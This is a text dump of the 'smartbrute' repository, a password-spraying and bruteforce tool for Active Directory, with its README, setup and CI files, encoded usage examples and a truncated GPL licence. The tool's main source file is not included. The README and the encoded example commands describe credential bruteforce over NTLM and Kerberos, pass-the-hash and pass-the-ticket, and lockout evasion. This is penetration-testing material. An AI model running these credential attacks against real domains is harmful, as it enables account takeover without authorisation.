├── passwords.txt
├── requirements.txt
├── .memes
├── 001.png
├── 002.png
├── 003.png
├── 004.png
└── 005.png
├── .assets
├── usage.png
├── cmd_help.png
├── graph_help.png
├── smartbrute.png
├── example_brute.gif
├── example_smart.gif
├── cmd_help.txt
├── usage.txt
├── smartbrute.svg
└── graph_help.drawio
├── .gitignore
├── TODO.md
├── .github
├── FUNDING.yml
└── workflows
│ └── ci.yml
├── setup.py
├── README.md
├── LICENSE
└── smartbrute.py
/passwords.txt:
--------------------------------------------------------------------------------
1 | 1
2 | 2
3 | 3
4 | 4
5 | 5
6 |
7 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | neo4j
2 | ldap3
3 | pyasn1
4 | impacket
5 | rich
--------------------------------------------------------------------------------
/.memes/001.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.memes/001.png
--------------------------------------------------------------------------------
/.memes/002.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.memes/002.png
--------------------------------------------------------------------------------
/.memes/003.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.memes/003.png
--------------------------------------------------------------------------------
/.memes/004.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.memes/004.png
--------------------------------------------------------------------------------
/.memes/005.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.memes/005.png
--------------------------------------------------------------------------------
/.assets/usage.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.assets/usage.png
--------------------------------------------------------------------------------
/.assets/cmd_help.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.assets/cmd_help.png
--------------------------------------------------------------------------------
/.assets/graph_help.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.assets/graph_help.png
--------------------------------------------------------------------------------
/.assets/smartbrute.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.assets/smartbrute.png
--------------------------------------------------------------------------------
/.assets/example_brute.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.assets/example_brute.gif
--------------------------------------------------------------------------------
/.assets/example_smart.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShutdownRepo/smartbrute/HEAD/.assets/example_smart.gif
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # PyCharm and Python workspace
2 | .idea/
3 | venv
4 |
5 | # Build logs for debugging
6 | .build.log
--------------------------------------------------------------------------------
/TODO.md:
--------------------------------------------------------------------------------
1 | - improve ldap results based on code from function `get_attributes_from_object_dn`
2 | - wiki/documentation/readme/GIFs
3 | - add `-o/--output-file` argument to save important findings in files
4 | - add sprayhound dynamically in requirements and in code now that it's on pypi https://pypi.org/project/sprayhound/
5 |
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
4 | patreon: nwodtuhs
5 | open_collective: # Replace with a single Open Collective username
6 | ko_fi: # Replace with a single Ko-fi username
7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9 | liberapay: # Replace with a single Liberapay username
10 | issuehunt: # Replace with a single IssueHunt username
11 | otechie: # Replace with a single Otechie username
12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
13 |
--------------------------------------------------------------------------------
/.github/workflows/ci.yml:
--------------------------------------------------------------------------------
1 | name: CI
2 |
3 | on:
4 | push:
5 | branches: [ main ]
6 | pull_request:
7 | branches: [ main ]
8 |
9 | jobs:
10 | build:
11 | runs-on: ubuntu-latest
12 |
13 | steps:
14 | - name: Checkout code
15 | uses: actions/checkout@v4
16 |
17 | - name: Set up Python
18 | uses: actions/setup-python@v5
19 | with:
20 | python-version: '3.13'
21 |
22 | - name: Install dependencies from source
23 | run: |
24 | python -m pip install --upgrade pip
25 | pip install -r requirements.txt
26 |
27 | - name: Execute test command from source
28 | run: |
29 | python3 smartbrute.py --help
30 |
31 | - name: Install package with pipx
32 | run: |
33 | python3 -m pip install --user pipx
34 | python3 -m pipx ensurepath
35 | pipx install .
36 |
37 | - name: Execute test command with pipx
38 | run: |
39 | smartbrute --help
--------------------------------------------------------------------------------
/.assets/cmd_help.txt:
--------------------------------------------------------------------------------
1 | https://carbon.now.sh/?bg=rgba%28171%2C184%2C195%2C0%29&t=seti&wt=none&l=auto&ds=true&dsyoff=20px&dsblur=68px&wc=true&wa=false&pv=56px&ph=56px&ln=false&fl=1&fm=Hack&fs=14px&lh=133%25&si=false&es=2x&wm=false&code=smartbrute%2520brute%2520-bu%2520%27user%27%2520-bP%2520passwords.txt%2520ntlm%2520-d%2520domain.local%250Asmartbrute%2520brute%2520-bu%2520%27user%27%2520-bP%2520passwords.txt%2520kerberos%2520-d%2520domain.local%250A%250Asmartbrute%2520smart%2520-bP%2520passwords.txt%2520kerberos%2520-d%2520domain.local%2520-u%2520%27account-1%27%2520-p%2520%27p%2540ssw0rd%27%2520kerberos%250Asmartbrute%2520smart%2520-bP%2520passwords.txt%2520kerberos%2520-d%2520domain.local%2520-u%2520%27account-1%27%2520-p%2520%27p%2540ssw0rd%27%2520ntlm%250Asmartbrute%2520smart%2520-bP%2520passwords.txt%2520ntlm%2520-d%2520domain.local%2520-u%2520%27account-1%27%2520-p%2520%27p%2540ssw0rd%27%2520ntlm%250Asmartbrute%2520smart%2520-bP%2520passwords.txt%2520ntlm%2520-d%2520domain.local%2520-u%2520%27account-1%27%2520-p%2520%27p%2540ssw0rd%27%2520kerberos
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | import shutil
2 | import os
3 | from setuptools import setup
4 |
5 | with open('README.md', 'r', encoding='utf-8') as f:
6 | long_description = f.read()
7 |
8 | with open('requirements.txt', 'r', encoding='utf-8') as f:
9 | content = f.readlines()
10 | requirements = [x.strip() for x in content]
11 |
12 | shutil.copyfile('smartbrute.py', 'smartbrute')
13 |
14 | setup(
15 | name='smartbrute',
16 | version='1.1.0',
17 | author='Shutdown, Podalirius',
18 | description='',
19 | long_description=long_description,
20 | long_description_content_type='text/markdown',
21 | url='https://github.com/ShutdownRepo/smartbrute/',
22 | classifiers=[
23 | 'Environment :: Console'
24 | 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
25 | 'Operating System :: POSIX :: Linux',
26 | 'Programming Language :: Python :: 3',
27 | 'Topic :: Security',
28 | ],
29 | python_requires='>=3.6',
30 | install_requires=requirements,
31 | scripts=["smartbrute"]
32 | )
33 | os.remove("smartbrute")
34 |
--------------------------------------------------------------------------------
/.assets/usage.txt:
--------------------------------------------------------------------------------
1 | https://carbon.now.sh/?bg=rgba%28171%2C184%2C195%2C0%29&t=seti&wt=none&l=auto&ds=true&dsyoff=20px&dsblur=68px&wc=true&wa=false&pv=56px&ph=56px&ln=false&fl=1&fm=Hack&fs=14px&lh=133%25&si=false&es=2x&wm=false&code=%2524%2520python3%2520smartbrute.py%2520-h%250A%2520%2520%250Ausage%253A%2520smartbrute.py%2520%255B-h%255D%2520%255B-v%255D%2520%255B-q%255D%2520%255B--set-as-owned%255D%2520%255B-nh%2520NEO4J_HOST%255D%2520%255B-nP%2520NEO4J_PORT%255D%2520%255B-nu%2520NEO4J_USER%255D%2520%255B-np%2520NEO4J_PASSWORD%255D%2520%257Bbrute%252Csmart%257D%2520...%250A%250AThe%2520smart%2520password%2520spraying%2520and%2520bruteforcing%2520tool%2520for%2520Active%2520Directory%2520Domain%2520Services.%250A%250Apositional%2520arguments%253A%250A%2520%2520%257Bbrute%252Csmart%257D%2520%2520%2520%2520%2520%2520%2520%2520%2520this%2520is%2520a%2520required%2520argument%2520and%2520tells%2520smartbrute%2520in%2520which%2520mode%2520to%2520run.%2520smart%2520mode%2520will%2520enumerate%2520users%2520and%2520policies%2520and%2520avoid%2520locking%2520out%2520accounts%2520given%2520valid%2520domain%2520credentials.%2520brute%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520mode%2520is%2520dumb%2520and%2520only%2520bruteforces.%250A%2520%2520%2520%2520brute%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520bruteforce%2520mode%250A%2520%2520%2520%2520smart%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520smart%2520mode%250A%250Aoptional%2520arguments%253A%250A%2520%2520-h%252C%2520--help%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520show%2520this%2520help%2520message%2520and%2520exit%250A%2520%2520-v%252C%2520--verbose%2520%2520%2520%2520%2520%2520%2520%2520%2520verbosity%2520level%2520%28-v%2520for%2520verbose%252C%2520-vv%2520for%2520debug%29%250A%2520%2520-q%252C%2520--quiet%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520show%2520no%2520information%2520at%2520all%250A%250Aneo4j%2520option%253A%250A%2520%2520--set-as-owned%2520%2520%2520%2520%2520%2520%2520%2520Set%2520valid%2520users%2520as%2520owned%2520in%2520neo4j%250A%2520%2520-nh%2520NEO4J_HOST%252C%2520--neo4j-host%2520NEO4J_HOST%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520neo4j%2520database%2520address%2520%28default%253A%2520127.0.0.1%29%250A%2520%2520-nP%2520NEO4J_PORT%252C%2520--neo4j-port%2520NEO4J_PORT%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520neo4j%2520database%2520port%2520%28default%253A7687%29%250A%2520%2520-nu%2520NEO4J_USER%252C%2520--neo4j-user%2520NEO4J_USER%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520neo4j%2520username%2520%28default%253A%2520neo4j%29%250A%2520%2520-np%2520NEO4J_PASSWORD%252C%2520--neo4j-password%2520NEO4J_PASSWORD%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520neo4j%2520password%2520%28default%253A%2520neo4j%29
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Description
4 |
5 | The smart password spraying and bruteforcing tool for Active Directory Domain Services.
6 |
7 | **:warning: This project works. But the filthy coding makes it more PoC than a stable tool. I may or may not rewrite this in the future, but at least you have everything here to work with bruteforce on any protocol. It has been tested in ~10 environments on my side, it works 🤷♂️**
8 |
9 | ## Core features
10 |
11 | This tool can be used to bruteforce/spray Active Directory accounts credentials. The following attacks are supported, each attack has its own benefits:
12 | - NTLM over SMB bruteforce: when valid accounts are found, they will be tested for local administrative privileges.
13 | - NTLM over LDAP bruteforce
14 | - [Kerberos pre-authentication bruteforce](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pre-auth-bruteforce): this is the fastest and stealthiest way.
15 | + The transport protocol can be chosen: UDP or TCP. UDP is the fastest but sometimes throws errors.
16 | + The etype can be chosen: RC4, AES128, AES256. RC4 is the fastest but AES128 and AES256 are the stealthiest.
17 |
18 | Passwords are not the only secrets that can be bruteforced with this tool.
19 | - When bruteforcing on NTLM: NT hashes can be attempted.
20 | - When bruteforcing on Kerberos: RC4 keys (i.e. NT hashes) can be attempted.
21 |
22 | When valid accounts are found:
23 | - they can be set as owned in a neo4j database (used by BloodHound)
24 | - when using neo4j, owned users that are on a path to Domain Admins will be highlighted
25 |
26 | This tool can be used in two different modes for different scenarios: `smart` or `brute`.
27 |
28 | ### Smart mode
29 |
30 | This mode can be used to make sure NOT to lock any account when bruteforcing by:
31 | - Fetching the enabled users from Active Directory
32 | - Fetching bad password count for each user
33 | - Fetching lockout policies (global policy and granular policies set in Password Settings Objects). _Nota bene: PSOs can be applied to groups, the tool recursively lists all members from those groups and sets the appropriate lockout threshold for each user._
34 | - Bruteforcing users according to the information found (i.e. keep the bad password count below the lockout threshold. A safety margin can be set).
35 |
36 | In order for the first LDAP enumeration to occur, this mode requires knowledge of a low-priv user credentials. The following authentications are supported:
37 | - **(NTLM)** Cleartext password
38 | - **(NTLM)** [Pass-the-hash](https://www.thehacker.recipes/active-directory-domain-services/movement/lm-and-ntlm/pass-the-hash)
39 | - **(Kerberos)** Cleartext password
40 | - **(Kerberos)** [Pass-the-key](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pass-the-key) / [Overpass-the-hash](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/overpass-the-hash)
41 | - **(Kerberos)** [Pass-the-cache](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pass-the-cache) (type of [Pass-the-ticket](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pass-the-ticket))
42 |
43 | Before bruteforcing anything, this mode also recursively fetches the members of special groups (Administrators, Domain Admins, Entreprise Key Admins, and many more).
44 | When valid credentials are found, if the account is part of those members, it will be highlighted.
45 |
46 | In smart mode, bruteforce can also be skipped to only show fetched users or password policies.
47 |
48 | 
49 |
50 | ### Brute mode
51 |
52 | The `brute` mode doesn't require prior knowledge of a low-priv user credentials but doesn't have safety features like the `smart` mode. This mode CAN effectively lock accounts.
53 | In this mode, a username (or list of usernames) has to be supplied.
54 | - Bruteforce can be operated line per line when supplying lists for both usernames and passwords/hashes
55 | - On the first successful bruteforced authentication, the tool will recursively fetch (using LDAP) the members of special groups (Administrators, Domain Admins, Entreprise Key Admins, and many more). When valid credentials are found, if the account is part of those members, it will be highlighted.
56 | - Bruteforce can be stopped when a valid account is found
57 |
58 | 
59 |
60 | ## Usage
61 |
62 | This tool is designed to give its users the most control over what is happening. This leads to a complex (not complicated, there's a difference) usage.
63 | This tool is built around multiple subparsers allocated in the following manner (cf. following graph and picture).
64 |
65 | 
66 | 
67 | 
68 |
69 | ## Contributing
70 |
71 | Pull requests are welcome. Feel free to open an issue if you want to add other features.
72 |
73 | ## Credits & thanks
74 |
75 | This tool as well as its code was inspired/based on:
76 | - [impacket](https://github.com/SecureAuthCorp/impacket)
77 | - [sprayhound](https://github.com/Hackndo/sprayhound)
78 | - [crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec)
79 | - [kerbrute](https://github.com/ropnop/kerbrute) and [pykerbrute](https://github.com/3gstudent/pyKerbrute)
80 | - and probably indirectly many more
81 |
82 | We thank all contributors behind those projects.
83 |
84 | ## Memes
85 |
86 | And now, here is a collection of memes that perfectly frames this tool's spirit (feel free to contribute)
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
--------------------------------------------------------------------------------
/.assets/smartbrute.svg:
--------------------------------------------------------------------------------
1 |
2 |
167 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
